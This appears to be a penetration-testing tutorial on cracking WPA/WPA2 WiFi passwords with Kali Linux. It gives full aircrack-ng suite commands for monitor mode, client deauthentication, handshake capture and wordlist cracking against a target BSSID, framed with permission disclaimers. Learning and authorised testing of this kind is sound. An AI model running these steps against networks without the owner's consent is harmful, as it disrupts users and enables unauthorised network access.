How to Hack WPA/WPA2 WiFi Using Kali Linux?

"Hacking Wifi" sounds really cool and interesting. But actually hacking wifi using Kali Linux practically is much easier with a good wordlist. But this world list is of no use until we don't have any idea of how to actually use that word list in order to crack a hash. And before cracking the hash we actually need to generate it. So, below are those steps along with some good wordlists to crack a WPA/WPA2 wifi.

Kali Linux is a powerful tool for penetration testing and ethical hacking. One common task for security experts is testing the security of WiFi networks. In this guide, we'll explain how to hack a WiFi network using Kali Linux in simple terms. Remember, always have permission before testing any network!

Note: Use the below methods only for educational/testing purposes on your own wifi or with the permission of the owner. Don't use this for malicious purposes.

Steps to Hack WiFi Using Kali Linux

To hack WiFi using Kali Linux, boot up Kali Linux and pen the terminal window to perform the following steps.

Step 1: ifconfig (interface configuration): To view or change the configuration of the network interfaces on your system.

ifconfig

Here,

• eth0 : First Ethernet interface
• l0 : Loopback interface
• wlan0 : First wireless network interface on the system. (This is what we need.)

Step 2: Stop the current processes which are using the WiFi interface.

airmon-ng check kill

Step 3: To start the wlan0 in monitor mode.

airmon-ng start wlan0

Step 4: To view all the Wifi networks around you.

airodump-ng wlan0mon

Here,

• airodump-ng : For packet capturing
• wlan0mon : Name of the interface (This name can be different on the different devices)

Press Ctrl+C to stop the process when you have found the target network.

Step 5: To view the clients connected to the target network.

airodump-ng -c 1 --bssid 80:35:C1:13:C1:2C -w /root wlan0mon

Here,

• airodump-ng : For packet capturing
• -c : Channel
• --bssid : MAC address of a wireless access point(WAP).
• -w : The Directory where you want to save the file(Password File).
• wlan0mon : Name of the interface.

Step 6: Open a new terminal window to disconnect the clients connected to the target network.

aireplay-ng -0 10 -a 80:35:C1:13:C1:2C wlan0mon

• aireplay-ng : To inject frames
• -0 : For deauthentication
• 10 : No. of deauthentication packets to be sent
• -a : For the bssid of the target network
• wlan0mon : Name of the interface.

When the client is disconnected from the target network. He tries to reconnect to the network and when he does you will get something called WPA handshake in the previous window of the terminal.

Now, we are done with capturing the packets. So, now you can close the terminal window.

Step 7. To decrypt the password. Open the Files application.

Here,

• hacking-01.cap is the file you need.

  aircrack-ng -a2 -b 80:35:C1:13:C1:2C -w /root/passwords.txt /root/hacking-01.cap

• aircrack-ng : 802.11 WEP and WPA-PSK keys cracking program
• -a : -a2 for WPA2 & -a for WPA network
• -b : The BSSID of the target network
• -w : Location of the wordlist file
• /root/hacking-01.cap : Location of the cap file

You can download the file of common passwords from the internet and if you want to create your own file then you can use the crunch tool.

Conclusion

Hacking WiFi using Kali Linux involves capturing a WPA/WPA2 handshake and then using a wordlist to crack the password. This guide provides a step-by-step approach to achieve this. Remember, use these techniques ethically and legally to improve your network security or with explicit permission.

By understanding these techniques, you can better protect your own networks from unauthorized access.